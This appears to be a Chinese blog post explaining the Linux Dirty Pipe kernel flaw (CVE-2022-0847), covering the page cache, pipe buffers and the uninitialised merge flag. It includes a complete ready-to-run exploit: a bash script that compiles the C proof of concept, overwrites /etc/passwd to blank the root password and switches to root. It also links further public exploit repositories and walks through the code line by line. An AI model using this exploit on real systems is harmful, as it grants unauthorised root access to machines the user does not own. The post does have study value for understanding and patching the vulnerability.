CVE-2022-0847-DirtyPipe原理 | 文件覆写提权
CVE-2022-0847-DirtyPipe原理 | 文件覆写提权
一.漏洞描述
CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。
CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”。
二.内核知识
以下是一些有关内核的知识, 如果想了解DirtyPipe提权漏洞的原理的话建议仔细看看
管道、缓冲区和页面:
1.内核的页面管理模式
在我们的设置中,生成ZIP文件的Web服务通过管道与Web服务器进行通信;它使用Web应用套接字协议,这是我们发明的,因为我们对CGI、FastCGI和AJP不满意。使用管道而不是通过套接字复用(像FastCGI和AJP那样)有一个主要的优势:你可以在应用程序和Web服务器中使用splice()来获得最大的效率。这减少了网络应用进程外的开销(而不是像Apache模块那样,在网络服务器进程内运行网络服务)。这允许在不牺牲(很多)性能的情况下进行权限分离。
CPU管理的最小的内存单位是一个页面(通常是4 kB)。
在Linux内存管理的最底层,所有的东西都是关于页的。如果一个应用程序向内核请求内存,它将得到一些(匿名的)页。所有的文件I/O也是关于页的:如果你从一个文件中读取数据,内核首先从硬盘复制一些4 kB的块到内核内存,由一个叫做页缓存的子系统管理。从那里,数据将被复制到用户空间。
页缓存中的拷贝会保留一段时间,在那里可以再次使用,避免了不必要的硬盘I/O,直到内核决定对该内存有更好的使用("回收")。与复制文件数据到用户空间内存不同,由页面缓存管理的页面可以通过mmap()系统调用直接映射到用户空间(以增加页面故障和TLB刷新为代价来换取内存带宽的减少)。
Linux内核的技巧:sendfile()系统调用允许应用程序将文件内容发送到套接字中,而不需要往返于用户空间(这种优化在通过HTTP提供静态文件的网络服务器中很流行)。splice()系统调用是sendfile()的一种。如果传输的任何一方是一个管道,它允许同样的优化;另一方几乎可以是任何东西(另一个管道、一个文件、一个套接字、一个块设备、一个字符设备)。内核通过传递页面引用来实现这一点,而不是实际复制任何东西(零拷贝内容,只传递一个页面引用)。
2.管道
管道是一个单向的进程间通信的工具。一端用于向其中推送数据,另一端可以接收这些数据。Linux内核通过一个pipe_buffer结构的环来实现,每个pipe_buffer指的是一个页面。第一次写到管道时,会分配一个页面(可容纳4 kB的数据空间)。如果最近的一次写没有完全填满该页,接下来的写可能会追加到现有的页,而不是分配一个新页。这就是 "匿名 "管道缓冲区的工作方式(anon_pipe_buf_ops)。
然而,如果把文件中的数据拼接到管道中,内核将首先把数据加载到页面缓存中。然后它将创建一个指向页面缓存内部的struct pipe_buffer(零拷贝内容,只传递一个页面引用),但与匿名管道缓冲区不同的是,写入管道的额外数据不得附加到这样的页面上,因为该页面是由页面缓存拥有的,而不是由管道。
检查新数据是否可以追加到现有的管道缓冲区的历史:
5274f052e7b3(Linux 2.6.16, 2006) "引入sys_splice()系统调用" 介绍了splice()系统调用,引入了page_cache_pipe_buf_ops,一个用于指向页面缓存的管道缓冲区的struct pipe_buf_operations实现,这是第一次出现can_merge(=0)(不可合并)。
01e7187b4119 (Linux 5.0, 2019) "停止使用can_merge标志", 将 can_merge 标志转换为 struct pipe_buf_operations 指针比较,因为只有 anon_pipe_buf_ops 设置了这个标志。
f6dd975583bd (Linux 5.8, 2020) "pipe: merge anon_pipe_buf*_ops"将这个指针比较转换为每个缓冲区标志 PIPE_BUF_FLAG_CAN_MERGE。
重点提示: 在最后一个内核f6dd975583bd (Linux 5.8, 2020)中,之前内核中使用的merge标志演变成为每个缓冲区都有的都有的PIPE_BUF_FLAG_CAN_MERGE标志很重要. DirtyPipe漏洞就是因为要利用到这个属性才要求内核版本需要在5.8之后
多年来,这个检查被来回重构, 在PIPE_BUF_FLAG_CAN_MERGE诞生的几年前,(Linux 4.9, 2016) 增加了两个新函数,分配了一个新的struct pipe_buffer(用于指向页面缓存内部),但其flags成员的初始化却没有。现在有可能用任意的标志创建页面缓存引用,但这并不重要。从技术上讲,这是一个bug,但在当时没有什么后果,毕竟直到现在为止,很多的flags都是相当无聊的。
但在Linux 5.8中,这个bug突然变得很严重,(Linux 5.8, 2020)"pipe: merge anon_pipe_buf*_ops" 通过将PIPE_BUF_FLAG_CAN_MERGE注入到页面缓存引用中,就有可能覆盖页面缓存中的数据,只要将要覆盖原缓存的新数据写入以特殊方式准备的管道中即可。
这里是漏洞发现者解释为什么服务器日志文件损坏原因: 首先,一些数据被写入管道,然后很多文件被拼接,产生了页面缓存引用。随机地,这些文件可能有也可能没有设置PIPE_BUF_FLAG_CAN_MERGE。如果有,那么写入中央目录文件头的write()调用将被写入最后一个压缩文件的页面缓存中。但是,为什么只有该头文件的前8个字节?实际上,所有的文件头都会被复制到页面缓存中,但是这个操作并没有增加文件的大小。原始文件的末尾只有8个字节的 "未拼接 "空间,而且只有这些字节可以被覆盖。从页面缓存的角度来看,其余的页面是未使用的(尽管管道缓冲区代码确实使用了它,因为它有自己的页面填充管理)。为什么这种情况不经常发生呢?因为页面缓存不会写回磁盘,除非它认为该页面是 "脏的"。意外地覆盖了页面缓存中的数据并不会使页面变 "脏"。如果没有其他进程碰巧 "弄脏 "该文件,这个变化将是短暂的;在下一次重启后(或者在内核决定从缓存中删除该页后,例如在内存压力下回收),这个变化将被恢复。这使得有趣的攻击不会在硬盘上留下痕迹。
## 二.利用條件
即使在没有写程序的情况下,在几乎任意的位置用任意的数据覆盖页面缓存也是可能的。但其有一定的局限性:
-
攻击者必须有读取权限(因为它需要把一个页面拼接到一个管道中去)。
-
偏移量不能在页面边界上(因为该页面至少有一个字节被拼接到管道中)。
-
写入时不能跨越页面边界(因为将为其余部分创建一个新的匿名缓冲区)。
-
文件不能被调整大小(因为管道有自己的页面填充管理,并且不告诉页面缓存有多少数据被添加)。
条件1就不必多说了。 条件2要将页面的字节拼接到管道的原因是我们要使管道中的缓冲区标志 不变PIPE_BUF_FLAG_CAN_MERGE, 从而使两个缓冲区合并, 再将原有的文件数据在偏移一定距离后覆盖上我们的数据。
三.漏洞使用的操作步驟:
- 创建一个管道。
- 用任意数据填充管道(在所有ring entries中设置PIPE_BUF_FLAG_CAN_MERGE标志)
- 将管道排空(在struct pipe_inode_info环上的所有struct pipe_buffer实例中保持该标志的设置)
- 将目标文件(用O_RDONLY打开)中的数据从目标偏移量之前拼接到管道中
- 向管道中写入任意数据;由于PIPE_BUF_FLAG_CAN_MERGE被设置,该数据将覆盖缓存的文件页,而不是创建一个新的匿名的struct pipe_buffer。
它不仅在没有写权限的情况下起作用,而且在不可变的文件、只读的btrfs快照和只读的挂载(包括CD-ROM挂载)上也起作用。这是因为页面缓存始终是可写的(由内核决定),而向管道写东西从不检查任何权限。
四.EXP
Exp.sh
#/bin/bash
cat>exp.c<<EOF
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
EOF
gcc exp.c -o exp -std=c99
# 备份密码文件
rm -f /tmp/passwd
cp /etc/passwd /tmp/passwd
if [ -f "/tmp/passwd" ];then
echo "/etc/passwd已备份到/tmp/passwd"
passwd_tmp=$(cat /etc/passwd|head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
# 现在可以无需密码切换到root账号
su root
else
echo "/etc/passwd未备份到/tmp/passwd"
exit 1
fi
使用方法:
将以上代码写入Exp.sh然后执行bash ./Exp.sh
解释一下sh脚本后面执行的命令:
其实不是很理解${passwd_tmp/root:x/oot:}的内容为什么会是下面那样子(埋个小坑, 以后知道了在回来填吧)
除了以上脚本外我在本地编译其它网上的的c代码EXP后执行so文件之后就变得有时候行有时候不行(后来重开了个虚拟机, 直接执行即可没出问题了,估计是因为之前执行了一些其他的EXP文件导致系统的/etc/passwd变得越来越奇怪),建议执行测试前自己再备份一次cp /etc/passwd /tmp/passwd.bak.bak
注意名字不要和EXP的一样,否则会被覆盖掉, 另外注意如果实验的机器比较重要而且passwd没有其它备份的话的话不要连续两次执行EXP否则EXP中备份的/tmp/passwd也会变得离谱(我的已经因为连续执行各个网上的EXP导致虚拟机崩过了)
注意: 如果使用下面的POC的话应该先去看一下.c文件是否已经设置好数据, 如果没设置好的话要自己加上后面的参数才行(需要哪些参数可以看下面的EXP分析的main()函数部分, 我对各个参数和意义写了注释)
还有几个github的POC也可以获取使用(网上很多可以自己找,不过注意使用方法,因为有些EXP是需要参数的)
https://github.com/antx-code/CVE-2022-0847
https://github.com/imfiver/CVE-2022-0847
https://github.com/lucksec/CVE-2022-0847
https://github.com/bbaranoff/CVE-2022-0847
五.EXP分析
这里使用的是漏洞披露者文章最后给出的POC
prepare_pipe()函数用于获得一个空管道
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
//fcntl()是一个文件控制函数, F_GETPIPE_SZ参数作用没搜到, 猜测是获取文件传输管道大小
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
//4096恰好4Kb(一个缓存页面的大小)
static char buffer[4096];
/*填充管道:
先判断管道大小可以容纳的数据一个缓存页面是否装得下(大小是否大于4Kb)
如果不行的话一次写4Kb,往复循环直到完全填满管道
*/
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/*排出管道,释放所有的pipe_buffer实例(但是保留初始化的标志) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
}
/*得到一个空管道,如果有人添加一个新的缓冲区而不初始化其 "标志",则该缓冲区将是可合并的*/
下面是main()函数内容:
-
将/etc/passwd文件复制到/tmp/passwd.bak
/*获取一个可读文件 */ const char *const path = "/etc/passwd"; FILE *f1 = fopen("/etc/passwd", "r"); FILE *f2 = fopen("/tmp/passwd.bak", "w"); char c; while ((c = fgetc(f1)) != EOF) fputc(c, f2); fclose(f1); fclose(f2);
-
将数据写入指定只读文件
//执行脚本需要个参数,如果参数个数不正确直接退出
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
//第一个参数为只读文件的路径(/etc/passwd)
const char *const path = argv[1];
//第二个参数是设置拼接文件内容到管道的偏移量(其实偏移了多少就保留原文件的多少个字符)
//注意偏移量即不能为0页不能超过原文件的大小,我们设置为1即可(即为保留r)
loff_t offset = strtoul(argv[2], NULL, 0);
//这里是覆盖缓存页面的内容(即为写入文件的数据), 上面的sh脚本设为执行passwd_tmp=$(cat /etc/passwd|head)后的
const char *const data = argv[3];
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);
/*PAGE_SIZE == 4096(4K)
如果检测到offset对4096取余后如果为0则表示会在页面边界开始写作,这是条件2所不允许的
*/
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;//按位与运算,得到结果4096
const loff_t end_offset = offset + (loff_t)data_size;//得到写入后文件大小
//如果写入内容后文件全部内容大小大于一个缓存页面大小那么后面的数据将无法写入,这是条件3所不允许的
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* 打开输入文件并验证指定的偏移量 */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
//open()若所有欲核查的权限都通过了检查则返回0 值, 表示成功, 只要有一个权限被禁止则返回-1.
//这里是检验可读权限
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
/*fstat(int fildes, struct stat *buf);
函数说明:fstat()用来将参数fildes 所指的文件状态, 复制到参数buf 所指的结构中(struct stat)
返回值:执行成功则返回0, 失败返回-1, 错误代码存于errno.
*/
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
/*检查文件偏移量是否大于文件内容大小,如果是的话那就错误,直接return*/
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
/*检查如果将原数据覆盖,将新内容写入文件后的文件大小,如果文件变大,这是条件4所不允许的*/
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* 创建管道时,所有的标志都被初始化为PIPE_BUF_FLAG_CAN_MERGE */
int p[2];//这里不是两条管道,p[0]用于输出管道数据,p[1]用于输入管道数据
prepare_pipe(p);
/* 将指定偏移量之前的一个字节拼接到管道; 这将为页面缓存添加一个引用
但由于copy_page_to_iter_pipe()并没有初始化标志,
PIPE_BUF_FLAG_CAN_MERGE仍然被设置。 */
--offset;
/*ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);
splice用于在两个文件描述符之间移动数据, 也是零拷贝。
fd_in参数是待输入描述符。如果它是一个管道文件描述符,则off_in必须设置为NULL;否则off_in表示从输入数据流的何处开始读取,此 时若为NULL,则从输入数据流的当前偏移位置读入。
fd_out/off_out与上述相同,不过是用于输出。
len参数指定移动数据的长度。
flags参数则控制数据如何移动:
返回值: 调用成功时返回移动的字节数量,失败时返回-1,并设置errno
*/
//☆☆☆重点☆☆☆:通过splice将只读文件/etc/passwd偏移3(4-1)后导入到管道p中
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
//write()返回值:成功执行会返回实际写入的字节数, 有错误发生时则返回-1, 错误代码存入errno 中.
//☆☆☆重点☆☆☆:因为PIPE_BUF_FLAG_CAN_MERGE标志,下面write()写操作不会创建一个新的pipe_buffer执行,而是会直接写进页面缓存
nbytes = write(p[1], data, data_size);
//write执行错误返回-1
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
//如果没有将数据完全写入则退出并给出显示写入了多少个字符
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n,Just write the char_num:", nbytes);
return EXIT_FAILURE;
}
printf("It worked!\n");
//执行提权操作system("")
return EXIT_SUCCESS;
}
六、解决方案
更新升级 Linux 内核到以下安全版本:
- Linux 内核 >= 5.16.11
- Linux 内核 >= 5.15.25
- Linux 内核 >= 5.10.102
刚学操作系统, 对内核的知识也不是很了解, 如果有写错的地方请留言指教
参考文章:
https://dirtypipe.cm4all.com/ (漏洞披露原作者)